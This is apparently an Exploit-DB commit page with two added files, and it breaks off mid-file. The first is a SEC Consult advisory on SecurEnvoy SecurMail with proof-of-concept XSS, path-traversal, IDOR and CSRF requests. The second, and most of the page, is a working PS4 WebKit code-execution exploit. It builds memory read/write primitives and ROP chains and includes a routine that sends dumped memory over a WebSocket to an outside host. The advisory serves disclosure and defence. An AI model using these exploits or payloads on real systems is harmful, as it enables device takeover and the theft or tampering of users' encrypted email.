DB: 2018-03-14

6 changes to exploits/shellcodes

Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)

MicroTik RouterOS 3.13 - SNMP write (Set request)
MikroTik RouterOS 3.13 - SNMP write (Set request)

Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption
MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption
MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution
MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution
SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities
Tuleap 9.17.99.189 - Blind SQL Injection
This commit is contained in:
Offensive Security 2018-03-14 05:01:48 +00:00
parent 3f6d16d5c3
commit 17d2f47aad
7 changed files with 1766 additions and 3 deletions

View file

@ -0,0 +1,281 @@
SEC Consult Vulnerability Lab Security Advisory < 20180312-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: SecurEnvoy SecurMail
vulnerable version: 9.1.501
fixed version: 9.2.501 or hotfix patch "1_012018"
CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704,
CVE-2018-7705, CVE-2018-7706, CVE-2018-7707
impact: Critical
homepage: https://www.securenvoy.com/
found: 2017-11
by: W. Ettlinger (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Sending and receiving encrypted emails is not an easy or simple experience.
Businesses rely on email with an increasing amount of sensitive data sent across
their networks. A revolutionary approach that doesn't suffer from the overheads
of deployment and encryption management; just rock-solid security to give you
100% confidence in your business communications."
URL: https://www.securenvoy.com/products/securmail/key-features.shtm
Business recommendation:
------------------------
During a brief crash test of the SecurEnvoy SecurMail application several severe
vulnerabilities have been identified that break the core security promises of
the product.
These vulnerabilities open the possibility for several different attack
scenarios that allow an attacker to read other users' encrypted e-mails and
overwrite or delete e-mails stored in other users' inboxes.
As we have identified several critical vulnerabilities within a very short time
frame we expect numerous other vulnerabilities to be present.
As other SecureEnvoy products (besides the analyzed SecurMail) appear
to be highly integrated (all products are installed with a single setup
file) we suspect other components to also suffer from severe security deficits.
We recommend not to use SecurEnvoy products (especially SecurMail) in a
production environment until:
* a comprehensive security audit has been performed and
* state of the art security mechanisms have been adopted.
Vulnerability overview/description:
-----------------------------------
1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707)
SEC Consult did not find any functionality that encodes user input when creating
HTML pages. Therefore persistent and reflected cross site scripting attacks are
possible throughout the application.
Some pages fail to properly decode URL encoded parameters. Because of this, cross
site scripting cannot be exploited on these pages in most browsers.
2) Path Traversal (CVE-2018-7705, CVE-2018-7706)
SEC Consult did not find any path traversal checks throughout the application.
Since the application uses encrypted files as the primary method of data
storage, this vulnerability can be exploited at several points.
Using this vulnerability, a legitimate recipient can read mails sent to other
recipients in plain text!
3) Insecure Direct Object Reference (CVE-2018-7704)
Authorization checks are only partially implemented. This allows a legitimate
recipient to read mails sent to other users in plain text.
4) Missing Authentication and Authorization (CVE-2018-7702)
In order to send encrypted e-mails a client does not need to authenticate on the
SecurEnvoy server. Therefore anyone with network access to the server can
arbitrarily send e-mails that appear to come from an arbitrary sender address.
Moreover, an attacker with network access to the server can re-send previous
communication to arbitrary recipients. This allows him/her to extract all
e-mails stored on the server. An attacker could also modify arbitrary messages
stored on the server.
5) Cross Site Request Forgery (CVE-2018-7701)
SEC Consult did not find any protection against cross site request forgery. An
attacker could use this vulnerability to delete a victim's e-mail or to
impersonate the victim and reply to his/her e-mails.
Since these vulnerabilities were found during a very short time frame, SEC
Consult believes that the product may contain a large number of other security
vulnerabilities. As already several core security promises have been broken
during this short crash test, no further tests were conducted.
Proof of concept:
-----------------
1) Cross Site Scripting
a) The following HTML fragments demonstrates reflected cross site scripting
(CVE-2018-7703):
--- snip ---
<form action="http://<host>/secmail/getmessage.exe" method="POST"
enctype="text/plain">
<input type="hidden" name="mailboxid"
value=""><script>alert&#40;&apos;xss&apos;&#41;<&#47;script>" />
<input type="submit" value="Submit request" />
</form>
--- snip ---
b) E-mails that are sent using the HTML format can contain any <script> tags
(CVE-2018-7707). These are executed once the victim opens the message in the
web interface.
2) Path Traversal
a) The following request demonstrates how the message body of the e-mail with id
107 can be overwritten while uploading the body for message 103. The message
IDs can easily be guessed since they are assigned sequentially
(CVE-2018-7705).
--- snip---
POST /secupload2/upload.aspx HTTP/1.1
Host: <host>
Content-Type: multipart/form-data; boundary=--------822119548
Content-Length: 309
----------822119548
Content-Disposition: form-data; name="FileName"
x
----------822119548
Content-Disposition: form-data; name="MessageID"
103
----------822119548
Content-Disposition: form-data; filename="../107/BODY"
Content-Type: application/octet-stream
some message
----------822119548--
--- snip ---
b) The following link demonstrates how the message body of the e-mail with id
107 can be retrieved while only having access to the mail with id 103
(CVE-2018-7706):
http://<host>/secmail/getmessage.exe?mailboxid=<mailbox-id>&action=attachment&option1=103&option2=../107/BODY
3) Insecure Direct Object Reference (CVE-2018-7704)
The functionality that allows a recipient to read an e-mail checks whether the
user is actually authorized to read the requested e-mail. However, by using the
functionality that allows a user to reply to an e-mail, an attacker can
manipulate the id that is sent as a URL parameter to read arbitrary e-mails.
The following link demonstrates the retrieval of the message with id 103. The
message id can easily be guessed since they are assigned sequentially.
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=reply&option1=103
4) Missing Authorization (CVE-2018-7702)
In order to send an e-mail to a recipient the following requests have to be
made:
1. Execute a GETINFO request in order to request a message id.
2. Upload the message body and the attachments.
3. Execute a STORE request to send the message to the recipients.
Neither of these requests require any authentication. Therefore, also no
authorization is made. Attack scenarios include:
a) Extract any message by executing step #3 while specifying an own e-mail
address as recipient and the message id to extract.
b) Overwrite attachments or message bodies of previously sent e-mails by
executing step #2 to upload arbitrary content.
5) Cross-Site Request Forgery
SEC Consult did not find any CSRF protection within the web interface. Moreover,
CSRF attacks are possible against the API used to send e-mails. Since this API
does not require authentication, being authenticated on the server is not a
precondition for a successful attack. Instead, the attack exploits the victim's
network location.
a) The following link demonstrates how e-mails can be deleted using a CSRF
attack (CVE-2018-7701):
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=delete&option1=103
b) The following HTML fragment demonstrates how the API can be exploited to send
an e-mail with an arbitrary message id to an arbitrary recipient (also
CVE-2018-7702):
<form action="http://<host>/secserver/securectrl.exe" method="POST"
enctype="text/plain">
<input type="hidden"
name="FLAG&#58;STORE&#13;&#10;VERSION&#58;1&#46;0&#13;&#10;RECIPIENT&#95;MOBILE&#95;LIST&#58;SMTP" value="bob&#64;local&#58;MOBILE&#61;00000&#13;&#10;SENDER&#58;me&#64;local&#13;&#10;RECORDED&#95;DELIVERY&#58;&#13;&#10;SUBJECTB64&#58;AAAA&#13;&#10;MESSAGEID&#58;108&#13;&#10;SENDERMOBILE&#58;000000&#13;&#10;REPLY&#58;False" />
<input type="submit" value="Submit request" />
</form>
Vulnerable / tested versions:
-----------------------------
The version 9.1.501 was found to be vulnerable. This was the latest version at
the time of discovery.
Vendor contact timeline:
------------------------
2017-11-20: Contacting vendor through info <at> securenvoy <dot> com
2017-11-21: SecureEnvoy requests to upload advisory through their SecurMail
instance
2017-11-22: Uploading advisory to SecurEnvoy's SecurMail instance
2017-12-13: SecurEnvoy: engineering team is investigating issues;
product will be re-engineered; asked for deadline extension until
revised software is available
2017-11-15: Postponing advisory release to 2017-02-21
2018-01-22: SecurEnvoy sends release notes document for the security patch
"1_012018"; Fixed vulnerabilities: Path traversal, Insecure Direct
Object Reference, XSS, CSRF; SecurEnvoy instructs customers to
configure requiring client certificates for the "secserver" endpoint
2018-02-22: Asking whether the security patch has been released
2018-03-01: Asking for status update
2018-03-01: SecurEnvoy: patch has been released
2018-03-12: Releasing security advisory
Solution:
---------
Customers of SecurEnvoy should immediately apply the security patch "1_012018"
or update to version 9.2.501 of the software.
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF W. Ettlinger / @2018

View file

@ -0,0 +1,853 @@
<--- index.html --->
<html>
<body>
<script>
window.didload = 0;
window.didpost = 0;
window.onload = function() {
window.didload = 1;
if (window.didpost == 1)
window.stage2();
}
window.postExpl = function() {
window.didpost = 1;
if (window.didload == 1)
window.stage2();
}
</script>
<script src="./expl.js"></script>
<script src="./rop.js"></script>
<pre id="console"></pre>
</body>
</html>
<--- /index.html --->
<--- expl.js --->
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
var instancespr = [];
for (var i = 0; i < 4096; i++) {
instancespr[i] = new Uint32Array(1);
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
}
var _dview;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var dgc = function() {
for (var i = 0; i < 0x100; i++) {
new ArrayBuffer(0x100000);
}
}
function int64(low, hi) {
this.low = (low >>> 0);
this.hi = (hi >>> 0);
this.add32inplace = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
this.hi = new_hi;
this.low = new_lo;
}
this.add32 = function(val) {
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo < this.low) {
new_hi++;
}
return new int64(new_lo, new_hi);
}
this.sub32 = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
return new int64(new_lo, new_hi);
}
this.sub32inplace = function(val) {
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
var new_hi = (this.hi >>> 0);
if (new_lo > (this.low) & 0xFFFFFFFF) {
new_hi--;
}
this.hi = new_hi;
this.low = new_lo;
}
this.and32 = function(val) {
var new_lo = this.low & val;
var new_hi = this.hi;
return new int64(new_lo, new_hi);
}
this.and64 = function(vallo, valhi) {
var new_lo = this.low & vallo;
var new_hi = this.hi & valhi;
return new int64(new_lo, new_hi);
}
this.toString = function(val) {
val = 16;
var lo_str = (this.low >>> 0).toString(val);
var hi_str = (this.hi >>> 0).toString(val);
if (this.hi == 0)
return lo_str;
else
lo_str = zeroFill(lo_str, 8)
return hi_str + lo_str;
}
this.toPacked = function() {
return {
hi: this.hi,
low: this.low
};
}
this.setPacked = function(pck) {
this.hi = pck.hi;
this.low = pck.low;
return this;
}
return this;
}
function zeroFill(number, width) {
width -= number.toString().length;
if (width > 0) {
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
}
return number + ""; // always return a string
}
var nogc = [];
var fail = function() {
alert.apply(null, arguments);
throw "fail";
}
// Target JSObject for overlap
var tgt = {
a: 0,
b: 0,
c: 0,
d: 0
}
var y = new ImageData(1, 0x4000)
postMessage("", "*", [y.data.buffer]);
// Spray properties to ensure object is fastmalloc()'d and can be found easily later
var props = {};
for (var i = 0;
(i < (0x4000 / 2));) {
props[i++] = {
value: 0x42424242
};
props[i++] = {
value: tgt
};
}
var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;
while (foundLeak == undefined && maxCount > 0) {
maxCount--;
history.pushState(y, "");
Object.defineProperties({}, props);
var leak = new Uint32Array(history.state.data.buffer);
for (var i = 0; i < leak.length - 6; i++) {
if (
leak[i] == 0x42424242 &&
leak[i + 0x1] == 0xFFFF0000 &&
leak[i + 0x2] == 0x00000000 &&
leak[i + 0x3] == 0x00000000 &&
leak[i + 0x4] == 0x00000000 &&
leak[i + 0x5] == 0x00000000 &&
leak[i + 0x6] == 0x0000000E &&
leak[i + 0x7] == 0x00000000 &&
leak[i + 0xA] == 0x00000000 &&
leak[i + 0xB] == 0x00000000 &&
leak[i + 0xC] == 0x00000000 &&
leak[i + 0xD] == 0x00000000 &&
leak[i + 0xE] == 0x0000000E &&
leak[i + 0xF] == 0x00000000
) {
foundIndex = i;
foundLeak = leak;
break;
}
}
}
if (!foundLeak) {
failed = true
fail("Failed to find leak!")
}
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
Array.prototype.__defineGetter__(100, () => 1);
var f = document.body.appendChild(document.createElement('iframe'));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
// Create fake ArrayBufferView
tgt.a = u2d(2048, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;
var c = Array.prototype.concat.call(a, b);
document.body.removeChild(f);
var hax = c[0];
c[0] = 0;
tgt.c = c;
hax[2] = 0;
hax[3] = 0;
Object.defineProperty(Array.prototype, 100, {
get: undefined
});
tgt.c = leakval_helper;
var butterfly = new int64(hax[2], hax[3]);
butterfly.low += 0x10;
tgt.c = leakval_u32;
var lkv_u32_old = new int64(hax[4], hax[5]);
hax[4] = butterfly.low;
hax[5] = butterfly.hi;
// Setup read/write primitive
tgt.c = master;
hax[4] = leakval_u32[0];
hax[5] = leakval_u32[1];
var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
hax[4] = lkv_u32_old.low;
hax[5] = lkv_u32_old.hi;
tgt.c = 0;
hax = 0;
var prim = {
write8: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;
if (val instanceof int64) {
slave[0] = val.low;
slave[1] = val.hi;
} else {
slave[0] = val;
slave[1] = 0;
}
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
write4: function(addr, val) {
master[4] = addr.low;
master[5] = addr.hi;
slave[0] = val;
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
},
read8: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;
var rtv = new int64(slave[0], slave[1]);
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
},
read4: function(addr) {
master[4] = addr.low;
master[5] = addr.hi;
var rtv = slave[0];
master[4] = addr_to_slavebuf.low;
master[5] = addr_to_slavebuf.hi;
return rtv;
},
leakval: function(jsval) {
leakval_helper[0] = jsval;
var rtv = this.read8(butterfly);
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rtv;
},
createval: function(jsval) {
this.write8(butterfly, jsval);
var rt = leakval_helper[0];
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
return rt;
}
};
window.primitives = prim;
if (window.postExpl) window.postExpl();
<--- /expl.js --->
<--- rop.js -->
var p;
var xhr_sync_log = function(str) {
var req = new XMLHttpRequest();
req.open('GET', "log?" + str, false);
try {
req.send();
} catch(e){}
}
var findModuleBaseXHR = function(addr)
{
var addr_ = addr.add32(0); // copy
addr_.low &= 0xFFFFF000;
xhr_sync_log("START: " + addr_);
while (1) {
var vr = p.read4(addr_.add32(0x110-4));
xhr_sync_log("step" + addr_);
addr_.sub32inplace(0x1000);
}
}
var log = function(x) {
document.getElementById("console").innerText += x + "\n";
}
var print = function(string) { // like log but html
document.getElementById("console").innerHTML += string + "\n";
}
var dumpModuleXHR = function(moduleBase) {
var chunk = new ArrayBuffer(0x1000);
var chunk32 = new Uint32Array(chunk);
var chunk8 = new Uint8Array(chunk);
connection = new WebSocket('ws://10.17.0.1:8080');
connection.binaryType = "arraybuffer";
var helo = new Uint32Array(1);
helo[0] = 0x41414141;
var moduleBase_ = moduleBase.add32(0);
connection.onmessage = function() {
try {
for (var i = 0; i < chunk32.length; i++)
{
var val = p.read4(moduleBase_);
chunk32[i] = val;
moduleBase_.add32inplace(4);
}
connection.send(chunk8);
} catch (e) {
print(e);
}
}
}
var get_jmptgt = function(addr)
{
var z=p.read4(addr) & 0xFFFF;
var y=p.read4(addr.add32(2));
if (z != 0x25ff) return 0;
return addr.add32(y+6);
}
var gadgetmap_wk = {
"ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
"pop rsi": [0x5E, 0xC3],
"pop rdi": [0x5F, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rax": [0x58, 0xC3],
"pop rdx": [0x5a, 0xC3],
"pop rcx": [0x59, 0xC3],
"pop rsp": [0x5c, 0xC3],
"pop rbp": [0x5d, 0xC3],
"pop r8": [0x47, 0x58, 0xC3],
"pop r9": [0x47, 0x59, 0xC3],
"infloop": [0xEB, 0xFE, 0xc3],
"ret": [0xC3],
"mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
"mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
"mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
"mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
};
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
slowpath_jop.reverse();
var gadgets;
window.stage2 = function() {
try {
window.stage2_();
} catch (e) {
print(e);
}
}
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
window.stage2_ = function() {
p = window.prim;
print ("[+] exploit succeeded");
print("webkit exploit result: " + p.leakval(0x41414141));
print ("--- welcome to stage2 ---");
p.leakfunc = function(func)
{
var fptr_store = p.leakval(func);
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
}
gadgetconn = 0;
if (!gadgetcache)
gadgetconn = new WebSocket('ws://10.17.0.1:8080');
var parseFloatStore = p.leakfunc(parseFloat);
var parseFloatPtr = p.read8(parseFloatStore);
print("parseFloat at: 0x" + parseFloatPtr);
var webKitBase = p.read8(parseFloatStore);
window.webKitBase = webKitBase;
webKitBase.low &= 0xfffff000;
webKitBase.sub32inplace(0x5b7000-0x1C000);
print("libwebkit base at: 0x" + webKitBase);
var o2wk = function(o)
{
return webKitBase.add32(o);
}
gadgets = {
"stack_chk_fail": o2wk(0xc8),
"memset": o2wk(0x228),
"setjmp": o2wk(0x14f8)
};
/*
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
libSceLibcInternalBase.low &= ~0x3FFF;
libSceLibcInternalBase.sub32inplace(0x20000);
print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
window.libSceLibcInternalBase = libSceLibcInternalBase;
*/
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
window.libKernelBase = libKernelBase;
libKernelBase.low &= 0xfffff000;
libKernelBase.sub32inplace(0x12000);
print("libkernel_web base at: 0x" + libKernelBase);
var o2lk = function(o)
{
return libKernelBase.add32(o);
}
window.o2lk = o2lk;
var wkview = new Uint8Array(0x1000);
var wkstr = p.leakval(wkview).add32(0x10);
var orig_wkview_buf = p.read8(wkstr);
p.write8(wkstr, webKitBase);
p.write4(wkstr.add32(8), 0x367c000);
var gadgets_to_find = 0;
var gadgetnames = [];
for (var gadgetname in gadgetmap_wk) {
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
gadgets_to_find++;
gadgetnames.push(gadgetname);
gadgetmap_wk[gadgetname].reverse();
}
}
log("finding gadgets");
gadgets_to_find++; // slowpath_jop
var findgadget = function(donecb) {
if (gadgetcache)
{
gadgets_to_find=0;
slowpath_jop=0;
log("using cached gadgets");
for (var gadgetname in gadgetcache) {
if (gadgetcache.hasOwnProperty(gadgetname)) {
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
}
}
} else {
for (var i=0; i < wkview.length; i++)
{
if (wkview[i] == 0xc3)
{
for (var nl=0; nl < gadgetnames.length; nl++)
{
var found = 1;
if (!gadgetnames[nl]) continue;
var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
{
if (gadgetbytes[compareidx] != wkview[i - compareidx]){
found = 0;
break;
}
}
if (!found) continue;
gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
delete gadgetnames[nl];
gadgets_to_find--;
}
} else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
{
var found = 1;
for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
{
if (slowpath_jop[compareidx] != wkview[i - compareidx])
{
found = 0;
break;
}
}
if (!found) continue;
gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
gadgetoffs["jop"] = i - slowpath_jop.length + 1;
gadgets_to_find--;
slowpath_jop = 0;
}
if (!gadgets_to_find) break;
}
}
if (!gadgets_to_find && !slowpath_jop) {
log("found gadgets");
if (gadgetconn)
gadgetconn.onopen = function(e){
gadgetconn.send(JSON.stringify(gadgetoffs));
}
setTimeout(donecb, 50);
} else {
log("missing gadgets: ");
for (var nl in gadgetnames) {
log(" - " + gadgetnames[nl]);
}
if(slowpath_jop) log(" - jop gadget");
}
}
findgadget(function(){});
var hold1;
var hold2;
var holdz;
var holdz1;
while (1)
{
hold1 = {a:0, b:0, c:0, d:0};
hold2 = {a:0, b:0, c:0, d:0};
holdz1 = p.leakval(hold2);
holdz = p.leakval(hold1);
if (holdz.low - 0x30 == holdz1.low) break;
}
var pushframe = [];
pushframe.length = 0x80;
var funcbuf;
var launch_chain = function(chain)
{
var stackPointer = 0;
var stackCookie = 0;
var orig_reenter_rip = 0;
var reenter_help = {length: {valueOf: function(){
orig_reenter_rip = p.read8(stackPointer);
stackCookie = p.read8(stackPointer.add32(8));
var returnToFrame = stackPointer;
var ocnt = chain.count;
chain.push_write8(stackPointer, orig_reenter_rip);
chain.push_write8(stackPointer.add32(8), stackCookie);
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
chain.push(gadgets["pop rsp"]); // pop rsp
chain.push(returnToFrame); // -> back to the trap life
chain.count = ocnt;
p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
}}};
var funcbuf32 = new Uint32Array(0x100);
nogc.push(funcbuf32);
funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
p.write8(funcbuf.add32(0x80), gadgets["jop"]);
p.write8(funcbuf,funcbuf);
p.write8(parseFloatStore, gadgets["jop"]);
var orig_hold = p.read8(holdz1);
var orig_hold48 = p.read8(holdz1.add32(0x48));
p.write8(holdz1, funcbuf.add32(0x50));
p.write8(holdz1.add32(0x48), funcbuf);
parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
p.write8(holdz1, orig_hold);
p.write8(holdz1.add32(0x48), orig_hold48);
stackPointer = p.read8(funcbuf.add32(0x10));
rtv=Array.prototype.splice.apply(reenter_help);
return p.leakval(rtv);
}
gadgets = gadgets;
p.loadchain = launch_chain;
window.RopChain = function () {
this.ropframe = new Uint32Array(0x10000);
this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
this.count = 0;
this.clear = function() {
this.count = 0;
this.runtime = undefined;
for (var i = 0; i < 0x1000/8; i++)
{
p.write8(this.ropframeptr.add32(i*8), 0);
}
};
this.pushSymbolic = function() {
this.count++;
return this.count-1;
}
this.finalizeSymbolic = function(idx, val) {
p.write8(this.ropframeptr.add32(idx*8), val);
}
this.push = function(val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function(where, what)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(where); // where
this.push(gadgets["pop rsi"]); // pop rsi
this.push(what); // what
this.push(gadgets["mov [rdi], rsi"]); // perform write
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
this.push(gadgets["pop rdi"]); // pop rdi
this.push(rdi); // what
this.push(gadgets["pop rsi"]); // pop rsi
this.push(rsi); // what
this.push(gadgets["pop rdx"]); // pop rdx
this.push(rdx); // what
this.push(gadgets["pop rcx"]); // pop r10
this.push(rcx); // what
this.push(gadgets["pop r8"]); // pop r8
this.push(r8); // what
this.push(gadgets["pop r9"]); // pop r9
this.push(r9); // what
this.push(rip); // jmp
return this;
}
this.run = function() {
var retv = p.loadchain(this, this.notimes);
this.clear();
return retv;
}
return this;
};
var RopChain = window.RopChain();
window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 